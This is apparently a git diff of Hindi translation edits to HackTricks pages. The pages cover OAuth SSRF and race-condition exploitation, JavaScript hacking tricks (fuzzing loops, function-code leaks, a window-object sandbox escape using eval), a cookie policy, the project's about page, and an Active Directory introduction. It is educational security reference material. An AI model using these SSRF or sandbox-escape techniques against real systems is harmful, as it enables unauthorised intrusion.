**शोषण रणनीति:**
@ -211,11 +211,11 @@ OAuth में डायनामिक क्लाइंट रजिस्
- SSRF को `logo_uri`, `jwks_uri`, या `sector_identifier_uri` जैसे पैरामीटर में दुर्भावनापूर्ण URLs के साथ नए क्लाइंट को पंजीकृत करके ट्रिगर किया जा सकता है।
- जबकि `request_uris` के माध्यम से सीधे शोषण को व्हाइटलिस्ट नियंत्रणों द्वारा कम किया जा सकता है, एक पूर्व-पंजीकृत, हमलावर-नियंत्रित `request_uri` प्रदान करना प्राधिकरण चरण के दौरान SSRF को सुविधाजनक बना सकता है।
## OAuth प्रदाताओं की दौड़ की स्थितियाँ
## OAuth providers Race Conditions
यदि आप जिस प्लेटफॉर्म का परीक्षण कर रहे हैं वह एक OAuth प्रदाता है [**संभावित दौड़ की स्थितियों के लिए इसे पढ़ें**](race-condition.md)。
यदि आप जिस प्लेटफॉर्म का परीक्षण कर रहे हैं वह एक OAuth प्रदाता है [**संभावित रेस कंडीशंस के लिए इसे पढ़ें**](race-condition.md)。
## संदर्भ
## References
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)

View File

@ -93,7 +93,7 @@ log.push(i)
console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279
```
### **स्ट्रिंग उत्पन्न करने के लिए मान्य वर्ण**
### **स्ट्रिंग्स उत्पन्न करने के लिए मान्य वर्ण**
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition.
@ -152,7 +152,7 @@ document.body.append(anchor)
a = document.createElement("a")
log = []
for (let i = 0; i <= 0x10ffff; i++) {
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`
a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
if (a.hostname === "hacktricks.xyz") {
log.push(i)
}
@ -170,7 +170,7 @@ log.push(i)
}
console.log(log) //9,10,13,47,92
```
### HTML फज़िंग
### HTML Fuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition.
@ -186,14 +186,14 @@ log.push(i)
}
console.log(log) //33,45,62
```
## **विश्लेषण करना गुण**
## **विश्लेषण करना विशेषताएँ**
Portswigger का उपकरण **Hackability inspector** एक जावास्क्रिप्ट ऑब्जेक्ट क**गुणों** का **विश्लेषण** करने में मदद करता है। जांचें: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
Portswigger का टूल **Hackability inspector** एक जावास्क्रिप्ट ऑब्जेक्ट क**विशेषताओं** का **विश्लेषण** करने में मदद करता है। जांचें: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map js फ़ाइलें**
- .map js फ़ाइलें डाउनलोड करने का ट्रिक: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
- आप इन फ़ाइलों का विश्लेषण करने के लिए इस उपकरण का उपयोग कर सकते हैं [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
- आप इन फ़ाइलों का विश्लेषण करने के लिए इस टूल का उपयोग कर सकते हैं [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
## "--" असाइनमेंट
@ -208,7 +208,7 @@ Portswigger का उपकरण **Hackability inspector** एक जावा
### .call और .apply
एक फ़ंक्शन की **`.call`** विधि का उपयोग **फ़ंक्शन को चलाने** के लिए किया जाता है।\
यह **पहला तर्क** जिसे यह डिफ़ॉल्ट रूप से अपेक्षित करता है, वह है **`this` का मान** और यदि **कुछ भी** प्रदान नहीं किया गया है, तो **`window`** वह मान होगा (जब तक कि **`strict mode`** का उपयोग नहीं किया गया हो)।
यह **पहला तर्क** जिसे यह डिफ़ॉल्ट रूप से अपेक्षित करता है, वह है **`this` का मान** और यदि **कुछ भी** प्रदान नहीं किया गया, तो **`window`** वह मान होगा (जब तक कि **`strict mode`** का उपयोग नहीं किया गया हो)।
```javascript
function test_call() {
console.log(this.value) //baz
@ -241,7 +241,7 @@ test_apply.apply(null, ["arg1", "arg2"])
```
### Arrow functions
Arrow functions आपको एक ही पंक्ति में अधिक आसानी से फ़ंक्शन बनाने की अनुमति देत हैं (यदि आप उन्हें समझते हैं)
Arrow functions आपको एक ही पंक्ति में फ़ंक्शन बनाने की अनुमति देत हैं (यदि आप उन्हें समझते हैं)
```javascript
// Traditional
function (a){ return a + 1; }
@ -264,7 +264,7 @@ let a = 4;
let b = 2;
() => a + b + 1;
```
तो, पिछले अधिकांश फ़ंक्शन वास्तव में बेकार हैं क्योंकि हम उन्हें कहीं भी सहेज नहीं रहे हैं और न ही उन्हें कॉल कर रहे हैं। उदाहरण के लिए `plusone` फ़ंक्शन बनाना:
तो, पिछले अधिकांश फ़ंक्शन वास्तव में बेकार हैं क्योंकि हम उन्हें कहीं भी सहेज नहीं रहे हैं ताकि उन्हें सहेज सकें और कॉल कर सकें। उदाहरण के लिए `plusone` फ़ंक्शन बनाना:
```javascript
// Traductional
function plusone(a) {
@ -276,7 +276,7 @@ plusone = (a) => a + 100
```
### Bind function
bind फ़ंक्शन एक **कॉपी** बनाने की अनुमति देता है जो **`this`** ऑब्जेक्ट और दिए गए **पैरामीटर्स** को **संशोधित** करता है।
bind फ़ंक्शन एक **कॉपी** बनाने की अनुमति देता है जो **`this`** ऑब्जेक्ट और दिए गए **पैरामीटर्स** को संशोधित करता है।
```javascript
//This will use the this object and print "Hello World"
var fn = function (param1, param2) {
@ -301,7 +301,7 @@ var bindFn_this = fn.bind(this, "fixingparam1")
bindFn_change("Hello", "World")
```
> [!NOTE]
> ध्यान दें कि **`bind`** का उपयोग करके आप उस **`this`** ऑब्जेक्ट को नियंत्रित कर सकते हैं जो फ़ंक्शन को कॉल करते समय उपयोग किया जाएगा।
> ध्यान दें कि **`bind`** का उपयोग करके आप **`this`** ऑब्जेक्ट को नियंत्रित कर सकते हैं जो फ़ंक्शन को कॉल करते समय उपयोग किया जाएगा।
### फ़ंक्शन कोड लीक
@ -323,7 +323,7 @@ return arguments.callee.toString()
return arguments[0]
})("arg0")
```
कुछ **यादृच्छिक** तरीके किसी अन्य फ़ंक्शन से फ़ंक्शन का **कोड निकालने** के लिए (यहां तक कि टिप्पणियाँ):
कुछ **यादृच्छिक** तरीके किसी अन्य फ़ंक्शन से फ़ंक्शन का **कोड** (यहां तक कि टिप्पणियां) निकालने के लिए:
```javascript
;(function () {
return (retFunc) => String(arguments[0])
@ -345,7 +345,7 @@ return String(this)
```
## Sandbox Escape - Recovering window object
Window ऑब्जेक्ट globally defined functions जैसे alert या eval तक पहुँचने की अनुमति देता है।
Window ऑब्जेक्ट globally परिभाषित फ़ंक्शनों जैसे alert या eval तक पहुँचने की अनुमति देता है।
```javascript
// Some ways to access window
window.eval("alert(1)")

View File

@ -6,27 +6,27 @@ Last updated: 02/04/2023
यह Cookies Policy HackTricks टीम ("HackTricks", "हम", "हमारा" या "हमारे") द्वारा स्वामित्व और संचालित निम्नलिखित वेबसाइटों पर लागू होती है:
* hacktricks.xyz
* [www.hacktricks.xyz](http://www.hacktricks.xyz/)
* book.hacktricks.xyz
* cloud.hacktricks.xyz
* hacktricks.wiki
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
* book.hacktricks.wiki
* cloud.hacktricks.wiki
इनमें से किसी भी वेबसाइट का उपयोग करके, आप इस Cookies Policy के अनुसार कुकीज़ के उपयोग के लिए सहमति देते हैं। यदि आप सहमत नहीं हैं, तो कृपया अपने ब्राउज़र सेटिंग्स में कुकीज़ को अक्षम करें या हमारी वेबसाइटों का उपयोग करने से बचें।
इनमें से किसी भी वेबसाइट का उपयोग करके, आप इस Cookies Policy के अनुसार कुकीज़ के उपयोग के लिए सहमति देते हैं। यदि आप सहमत नहीं हैं, तो कृपया अपने ब्राउज़र सेटिंग्स में कुकीज़ को बंद करें या हमारी वेबसाइटों का उपयोग करने से बचें।
### What are cookies?
कुकीज़ छोटे टेक्स्ट फ़ाइलें हैं जो जब आप िसवेबसाइट पर जाते हैं तो आपके कंप्यूटर या मोबाइल डिवाइस पर संग्रहीत होती हैं। इन्हें वेबसाइटों को कार्य करने, उनकी कार्यक्षमता में सुधार करने और एक अधिक व्यक्तिगत उपयोगकर्ता अनुभव प्रदान करने के लिए व्यापक रूप से उपयोग किया जाता है।
कुकीज़ छोटे टेक्स्ट फ़ाइलें हैं जो आपकी कंप्यूटर या मोबाइल डिवाइस पर तब स्टोर होती हैं जब आप किसी वेबसाइट पर जाते हैं। इन्हें वेबसाइटों को कार्य करने, उनकी कार्यक्षमता में सुधार करने और एक अधिक व्यक्तिगत उपयोगकर्ता अनुभव प्रदान करने के लिए व्यापक रूप से उपयोग किया जाता है।
### How we use cookies
हम अपनी वेबसाइटों पर निम्नलिखित उद्देश्यों के लिए कुकीज़ का उपयोग करते हैं:
1. आवश्यक कुकीज़: ये कुकीज़ हमारी वेबसाइटों की बुनियादी कार्यक्षमता के लिए आवश्यक हैं, जैसे कि उपयोगकर्ता प्रमाणीकरण सक्षम करना, सुरक्षा बनाए रखना, और आपकी प्राथमिकताओं को याद रखना।
1. आवश्यक कुकीज़: ये कुकीज़ हमारी वेबसाइटों की बुनियादी कार्यक्षमता के लिए आवश्यक हैं, जैसे उपयोगकर्ता प्रमाणीकरण सक्षम करना, सुरक्षा बनाए रखना, और आपकी प्राथमिकताओं को याद रखना।
2. प्रदर्शन कुकीज़: ये कुकीज़ हमें समझने में मदद करती हैं कि आगंतुक हमारी वेबसाइटों के साथ कैसे इंटरैक्ट करते हैं, जानकारी को गुमनाम रूप से एकत्रित और रिपोर्ट करके। इससे हमें अपनी वेबसाइट के प्रदर्शन और उपयोगकर्ता अनुभव में सुधार करने की अनुमति मिलती है।
3. कार्यक्षमता कुकीज़: ये कुकीज़ हमारी वेबसाइटों को आपके द्वारा किए गए विकल्पों को याद रखने में सक्षम बनाती हैं, जैसे कि आपकी भाषा या क्षेत्र, ताकि एक अधिक व्यक्तिगत अनुभव प्रदान किया जा सके।
3. कार्यक्षमता कुकीज़: ये कुकीज़ हमारी वेबसाइटों को आपके द्वारा किए गए विकल्पों को याद रखने में सक्षम बनाती हैं, जैसे आपकी भाषा या क्षेत्र, ताकि एक अधिक व्यक्तिगत अनुभव प्रदान किया जा सके।
4. लक्षित/विज्ञापन कुकीज़: ये कुकीज़ आपके रुचियों, ब्राउज़िंग इतिहास, और हमारी वेबसाइटों के साथ इंटरैक्शन के आधार पर प्रासंगिक विज्ञापन और मार्केटिंग संचार प्रदान करने के लिए उपयोग की जाती हैं।
इसके अलावा, पृष्ठ book.hacktricks.xyz और cloud.hacktricks.xyz Gitbook में होस्ट किए गए हैं। आप Gitbooks कुकीज़ के बारे में अधिक जानकारी [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy) पर पा सकते हैं।
इसके अलावा, पृष्ठ book.hacktricks.wiki और cloud.hacktricks.wiki Gitbook में होस्ट किए गए हैं। आप Gitbooks कुकीज़ के बारे में अधिक जानकारी [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy) पर पा सकते हैं।
### Third-party cookies
@ -34,7 +34,7 @@ Last updated: 02/04/2023
Managing cookies
अधिकांश वेब ब्राउज़र आपको अपनी सेटिंग्स के माध्यम से कुकीज़ को प्रबंधित करने की अनुमति देते हैं। आप अपने डिवाइस पर कुकीज़ के उपयोग को ब्लॉक, हटाने, या सीमित करने का विकल्प चुन सकते हैं। हालाँकि, कृपया ध्यान दें कि कुकीज़ को अक्षम करने से हमारी वेबसाइटों की कार्यक्षमता और प्रदर्शन पर प्रभाव पड़ सकता है।
अधिकांश वेब ब्राउज़र आपको अपनी सेटिंग्स के माध्यम से कुकीज़ को प्रबंधित करने की अनुमति देते हैं। आप अपने डिवाइस पर कुकीज़ के उपयोग को ब्लॉक, हटाने, या सीमित करने का विकल्प चुन सकते हैं। हालाँकि, कृपया ध्यान दें कि कुकीज़ को बंद करने से हमारी वेबसाइटों की कार्यक्षमता और प्रदर्शन पर प्रभाव पड़ सकता है।
Changes to this Cookies Policy

View File

@ -7,13 +7,13 @@
> [!TIP]
> ये हैं **HackTricks प्रोजेक्ट के मूल्य**:
>
> - **सभी** इंटरनेट के लिए **शैक्षिक हैकिंग** संसाधनों का **मुफ्त** एक्सेस दें।
> - **सभी** इंटरनेट क **शैक्षिक हैकिंग** संसाधनों का **मुफ्त** एक्सेस दें।
> - हैकिंग सीखने के बारे में है, और सीखना जितना संभव हो उतना मुफ्त होना चाहिए।
> - इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में कार्य करना है।
> - समुदाय द्वारा प्रकाशित शानदार **हैकिंग** तकनीकों को **स्टोर** करें और **मूल** **लेखकों** को सभी **क्रेडिट** दें।
> - **हम दूसरों से क्रेडिट नहीं चाहते**, हम बस सभी के लिए शानदार ट्रिक्स स्टोर करना चाहते हैं।
> - समुदाय द्वारा प्रकाशित शानदार **हैकिंग** तकनीकों को **स्टोर** करें और **मूल** **लेखकों** को सभी **श्रेय** दें।
> - **हम दूसरों से श्रेय नहीं चाहते**, हम बस सभी के लिए शानदार ट्रिक्स को स्टोर करना चाहते हैं।
> - हम HackTricks में **अपनी खुद की रिसर्च** भी लिखते हैं।
> - कई मामलों में हम बस HackTricks में तकनीक के महत्वपूर्ण भागों का **संक्षेप लिखेंगे** और **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे** अधिक विवरण के लिए।
> - कई मामलों में हम बस HackTricks में तकनीक के महत्वपूर्ण हिस्सों का **संक्षेप में लिखेंगे** और **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे** अधिक विवरण के लिए।
> - पुस्तक में सभी हैकिंग तकनीकों को **व्यवस्थित** करें ताकि यह **अधिक सुलभ** हो।
> - HackTricks टीम ने लोगों को **तेजी से सीखने** के लिए सामग्री को **व्यवस्थित करने** में मुफ्त में हजारों घंटे समर्पित किए हैं।
@ -33,7 +33,7 @@
>
> - **मैं प्रोजेक्ट में कैसे योगदान कर सकता हूँ?**
आप **समुदाय के साथ नए टिप्स और ट्रिक्स साझा कर सकते हैं या किताबों में पाए गए बग्स को ठीक कर सकते हैं** और संबंधित Github पृष्ठों पर **पुल अनुरोध** भेज सकते हैं:
आप **समुदाय के साथ नए टिप्स और ट्रिक्स साझा कर सकते हैं या किताबों में पाए गए बग्स को ठीक कर सकते हैं** और संबंधित Github पृष्ठों पर **Pull Request** भेज सकते हैं:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -57,14 +57,14 @@ Github प्रोजेक्ट्स में **एक स्टार द
author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page},
year = {Year of Last Update (check it at the end of the page)},
url = {\url{https://book.hacktricks.xyz/specific-page}},
url = {\url{https://book.hacktricks.wiki/specific-page}},
}
```
> [!WARNING]
>
> - **क्या मैं अपने ब्लॉग में सभी HackTricks की कॉपी कर सकता हूँ?**
**मैं ऐसा नहीं करना चाहूंगा**। यह **किसी के लिए भी फायदेमंद नहीं होगा** क्योंकि सभी **सामग्री पहले से ही आधिकारिक HackTricks पुस्तकों में मुफ्त में उपलब्ध है**
**मैं ऐसा नहीं करना चाहूँगा**। यह **किसी के लिए भी लाभकारी नहीं होगा** क्योंकि सभी **सामग्री पहले से ही सार्वजनिक रूप से उपलब्ध** है आधिकारिक HackTricks पुस्तकों में मुफ्त में।
यदि आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github पर फोर्क करें या डाउनलोड करें, जैसा कि मैंने कहा, यह पहले से ही मुफ्त है।
@ -78,29 +78,29 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
हमारे पास प्रायोजक हैं क्योंकि, भले ही सभी सामग्री **मुफ्त** है, हम **समुदाय को हमारे काम की सराहना करने की संभावना प्रदान करना चाहते हैं** यदि वे चाहें। इसलिए, हम लोगों को HackTricks को [**Github sponsors**](https://github.com/sponsors/carlospolop) के माध्यम से दान करने का विकल्प प्रदान करते हैं, और **संबंधित साइबर सुरक्षा कंपनियों** को HackTricks को प्रायोजित करने और पुस्तक में **कुछ विज्ञापन** रखने के लिए, विज्ञापन हमेशा उन स्थानों पर रखे जाते हैं जहाँ उन्हें **दृश्य** बनाया जा सके लेकिन **सीखने** की प्रक्रिया में बाधा नहीं डालते यदि कोई सामग्री पर ध्यान केंद्रित करता है।
आप HackTricks में अन्य ब्लॉगों की तुलना में कम सामग्री के साथ परेशान करने वाले विज्ञापनों से भरी हुई नहीं पाएंगे, क्योंकि HackTricks व्यावसायिक उद्देश्यों के लिए नहीं बनाई गई है।
आप HackTricks में अन्य ब्लॉगों की तुलना में बहुत कम सामग्री के साथ परेशान करने वाले विज्ञापनों से भरी हुई नहीं पाएंगे, क्योंकि HackTricks व्यावसायिक उद्देश्यों के लिए नहीं बनाई गई है।
> [!CAUTION]
>
> - **अगर कोई HackTricks पृष्ठ मेरे ब्लॉग पोस्ट पर आधारित है लेकिन इसका संदर्भ नहीं दिया गया है, तो मुझे क्या करना चाहिए?**
> - **अगर कोई HackTricks पृष्ठ मेरे ब्लॉग पोस्ट पर आधारित है लेकिन इसका संदर्भ नहीं दिया गया है तो मुझे क्या करना चाहिए?**
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github मुद्दों, Twitter, Discord... के माध्यम से HackTricks पृष्ठ का लिंक और आपके ब्लॉग का लिंक बताएं और **हम इसे जांचेंगे और ASAP जोड़ेंगे**।
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github मुद्दों, Twitter, Discord... के माध्यम से HackTricks पृष्ठ का लिंक बताएं जिसमें सामग्री है और आपके ब्लॉग का लिंक और **हम इसे ेक करेंगे और ASAP जोड़ेंगे**।
> [!CAUTION]
>
> - **अगर HackTricks में मेरे ब्लॉग की सामग्री है और मैं इसे वहाँ नहीं चाहता, तो मुझे क्या करना चाहिए?**
> - **अगर HackTricks में मेरे ब्लॉग की सामग्री है और मैं इसे वहाँ नहीं चाहता तो मुझे क्या करना चाहिए?**
ध्यान दें कि HackTricks में आपके पृष्ठ के लिंक होने से:
- आपके **SEO** में सुधार होता है
- सामग्री **15 से अधिक भाषाओं में अनुवादित** होती है जिससे अधिक लोग इस सामग्री तक पहुँच सकते हैं
- **HackTricks लोगों को** **आपके पृष्ठ** की **जांच करने** के लिए प्रोत्साहित करता है (कई लोगों ने हमें बताया है कि जब से उनका कुछ पृष्ठ HackTricks में है, उन्हें अधिक विज़िट मिलते हैं)
- **HackTricks लोगों को** आपके पृष्ठ को **चेक करने के लिए प्रोत्साहित करता है** (कई लोगों ने हमें बताया है कि जब से उनका कुछ पृष्ठ HackTricks में है, उन्हें अधिक विज़िट मिलते हैं)
हालांकि, यदि आप अभी भी चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटा दी जाए, तो बस हमें बताएं और हम निश्चित रूप से **आपके ब्लॉग के हर लिंक को हटा देंगे**, और उस पर आधारित कोई भी सामग्री।
> [!CAUTION]
>
> - **अगर मैं HackTricks में कॉपी-पेस्ट की गई सामग्री पाता हूँ, तो मुझे क्या करना चाहिए?**
> - **अगर मैं HackTricks में कॉपी-पेस्ट की गई सामग्री पाता हूँ तो मुझे क्या करना चाहिए?**
हम हमेशा **मूल लेखकों को सभी श्रेय देते हैं**। यदि आप एक पृष्ठ पाते हैं जिसमें कॉपी-पेस्ट की गई सामग्री है बिना मूल स्रोत का संदर्भ दिए, तो हमें बताएं और हम या तो **इसे हटा देंगे**, **पाठ से पहले लिंक जोड़ेंगे**, या **लिंक जोड़ते हुए इसे फिर से लिखेंगे**
@ -130,14 +130,14 @@ Copyright © सभी अधिकार सुरक्षित हैं ज
## **अस्वीकृति**
> [!CAUTION]
> यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में सामग्री 'जैसी है' के आधार पर प्रदान की गई है, और लेखक और प्रकाशक किसी भी प्रकार की, स्पष्ट या निहित, पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या इस पुस्तक में निहित जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते हैं। इसलिए, आप जिस जानकारी पर भरोसा करते हैं, वह पूरी तरह से आपके अपने जोखिम पर है।
> यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में सामग्री 'जैसी है' के आधार पर प्रदान की गई है, और लेखक और प्रकाशक किसी भी प्रकार की, स्पष्ट या निहित, पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या इस पुस्तक में निहित जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते हैं। आप जो भी भरोसा इस जानकारी पर रखते हैं, वह आपके अपने जोखिम पर है।
>
> लेखक और प्रकाशक किसी भी स्थिति में किसी भी हानि या क्षति के लिए उत्तरदायी नहीं होंगे, जिसमें बिना सीमा, अप्रत्यक्ष या परिणामी हानि या क्षति, या डेटा या लाभ के नुकसान से उत्पन्न होने वाली किसी भी हानि या क्षति शामिल है, जो इस पुस्तक के उपयोग से उत्पन्न होती है या इससे संबंधित होती है।
> लेखक और प्रकाशक किसी भी स्थिति में किसी भी हानि या क्षति के लिए उत्तरदायी नहीं होंगे, जिसमें बिना सीमा, अप्रत्यक्ष या परिणामी हानि या क्षति, या डेटा या लाभ के नुकसान से उत्पन्न होने वाली कोई भी हानि या क्षति शामिल है, जो इस पुस्तक के उपयोग से उत्पन्न होती है या इससे संबंधित होती है।
>
> इसके अलावा, इस पुस्तक में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान किए गए हैं, और इन्हें किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए नहीं उपयोग किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या समर्थन नहीं करते हैं, और इस पुस्तक में निहित जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
> इसके अलावा, इस पुस्तक में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान किए गए हैं, और इन्हें किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या सहमति नहीं देते हैं, और इस पुस्तक में निहित जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
>
> उपयोगकर्ता इस पुस्तक में निहित जानकारी के आधार पर किए गए किसी भी कार्य के लिए पूरी तरह से जिम्मेदार है, और किसी भी तकनीक या सुझाव को लागू करने का प्रयास करते समय हमेशा पेशेवर सलाह और सहायता प्राप्त करनी चाहिए।
>
> इस पुस्तक का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशकों को इस पुस्तक के उपयोग या इसमें निहित किसी भी जानकारी के परिणामस्वरूप होने वाले किसी भी नुकसान, हानि, या क्षति के लिए किसी भी और सभी जिम्मेदारी और उत्तरदायित्व से मुक्त करने के लिए सहमत होता है।
> इस पुस्तक का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशकों को इस पुस्तक के उपयोग या इसमें निहित किसी भी जानकारी के परिणामस्वरूप होने वाले किसी भी नुकसान, हानि, या क्षति से मुक्त करने के लिए सहमत होता है।
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,19 +6,19 @@
**Active Directory** एक मौलिक तकनीक के रूप में कार्य करता है, जो **नेटवर्क प्रशासकों** को **डोमेन**, **उपयोगकर्ताओं**, और **वस्तुओं** को प्रभावी ढंग से बनाने और प्रबंधित करने की अनुमति देता है। इसे स्केल करने के लिए डिज़ाइन किया गया है, जो एक विस्तृत संख्या में उपयोगकर्ताओं को प्रबंधनीय **समूहों** और **उपसमूहों** में व्यवस्थित करने में मदद करता है, जबकि विभिन्न स्तरों पर **पहुँच अधिकारों** को नियंत्रित करता है।
**Active Directory** की संरचना तीन प्रमुख परतों में विभाजित है: **डोमेन**, **पेड़**, और **जंगल**। एक **डोमेन** वस्तुओं का एक संग्रह है, जैसे **उपयोगकर्ता** या **डिवाइस**, जो एक सामान्य डेटाबेस साझा करते हैं। **पेड़** इन डोमेनों के समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **जंगल** कई पेड़ों का संग्रह है, जो **विश्वास संबंधों** के माध्यम से आपस में जुड़े होते हैं, जो संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। प्रत्येक स्तर पर विशिष्ट **पहुँच** और **संचार अधिकार** निर्धारित किए जा सकते हैं।
**Active Directory** की संरचना तीन प्रमुख परतों में विभाजित है: **डोमेन**, **पेड़**, और **जंगल**। एक **डोमेन** वस्तुओं का एक संग्रह है, जैसे **उपयोगकर्ता** या **डिवाइस**, जो एक सामान्य डेटाबेस साझा करते हैं। **पेड़** इन डोमेन के समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **जंगल** कई पेड़ों का संग्रह है, जो **विश्वास संबंधों** के माध्यम से आपस में जुड़े होते हैं, जो संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। प्रत्येक स्तर पर विशिष्ट **पहुँच** और **संचार अधिकार** निर्धारित किए जा सकते हैं।
**Active Directory** के भीतर प्रमुख अवधारणाएँ शामिल हैं:
1. **Directory** Active Directory वस्तुओं से संबंधित सभी जानकारी को रखता है।
2. **Object** निर्देशिका के भीतर की संस्थाएँ, जैसे **उपयोगकर्ता**, **समूह**, या **साझा फ़ोल्डर** को दर्शाता है।
3. **Domain** निर्देशिका वस्तुओं के लिए एक कंटेनर के रूप में कार्य करता है, जिसमें कई डोमेनों का एक साथ अस्तित्व हो सकता है, प्रत्येक अपनी स्वयं की वस्तु संग्रह बनाए रखता है।
4. **Tree** डोमेनों का एक समूह जो एक सामान्य मूल डोमेन साझा करता है।
3. **Domain** निर्देशिका वस्तुओं के लिए एक कंटेनर के रूप में कार्य करता है, जिसमें कई डोमेन एक **जंगल** के भीतर सह-अस्तित्व में हो सकते हैं, प्रत्येक अपनी स्वयं की वस्तु संग्रह बनाए रखता है।
4. **Tree** डोमेन का एक समूह जो एक सामान्य रूट डोमेन साझा करता है।
5. **Forest** Active Directory में संगठनात्मक संरचना का शिखर, जिसमें कई पेड़ होते हैं जिनमें **विश्वास संबंध** होते हैं।
**Active Directory Domain Services (AD DS)** एक श्रृंखला की सेवाओं को शामिल करता है जो नेटवर्क के भीतर केंद्रीकृत प्रबंधन और संचार के लिए महत्वपूर्ण हैं। इन सेवाओं में शामिल हैं:
1. **Domain Services** डेटा भंडारण को केंद्रीकृत करता है और **उपयोगकर्ताओं** और **डोमेनों** के बीच इंटरैक्शन को प्रबंधित करता है, जिसमें **प्रमाणीकरण** और **खोज** कार्यक्षमताएँ शामिल हैं।
1. **Domain Services** डेटा भंडारण को केंद्रीकृत करता है और **उपयोगकर्ताओं** और **डोमेन** के बीच इंटरैक्शन को प्रबंधित करता है, जिसमें **प्रमाणीकरण** और **खोज** कार्यक्षमताएँ शामिल हैं।
2. **Certificate Services** सुरक्षित **डिजिटल प्रमाणपत्रों** के निर्माण, वितरण, और प्रबंधन की देखरेख करता है।
3. **Lightweight Directory Services** **LDAP प्रोटोकॉल** के माध्यम से निर्देशिका-सक्षम अनुप्रयोगों का समर्थन करता है।
4. **Directory Federation Services** एकल सत्र में कई वेब अनुप्रयोगों में उपयोगकर्ताओं को प्रमाणित करने के लिए **सिंगल-साइन-ऑन** क्षमताएँ प्रदान करता है।
@ -29,7 +29,7 @@
### **Kerberos Authentication**
AD पर **हमला करने** के लिए आपको **Kerberos प्रमाणीकरण प्रक्रिया** को वास्तव में अच्छी तरह से **समझना** होगा।\
AD पर **हमला करने** के लिए आपको **Kerberos प्रमाणीकरण प्रक्रिया** को बहुत अच्छे से **समझना** होगा।\
[**यदि आप अभी भी नहीं जानते कि यह कैसे काम करता है, तो इस पृष्ठ को पढ़ें।**](kerberos-authentication.md)
## Cheat Sheet
@ -38,10 +38,10 @@ AD पर **हमला करने** के लिए आपको **Kerberos
## Recon Active Directory (No creds/sessions)
यदि आपके पास केवल AD वातावरण तक पहुँच है लेकिन आपके पास कोई क्रेडेंशियल/सत्र नहीं हैं, तो आप कर सकते हैं:
यदि आपके पास केवल AD वातावरण तक पहुँच है लेकिन आपके पास कोई क्रेडेंशियल/सेशंस नहीं हैं, तो आप कर सकते हैं:
- **नेटवर्क का परीक्षण करें:**
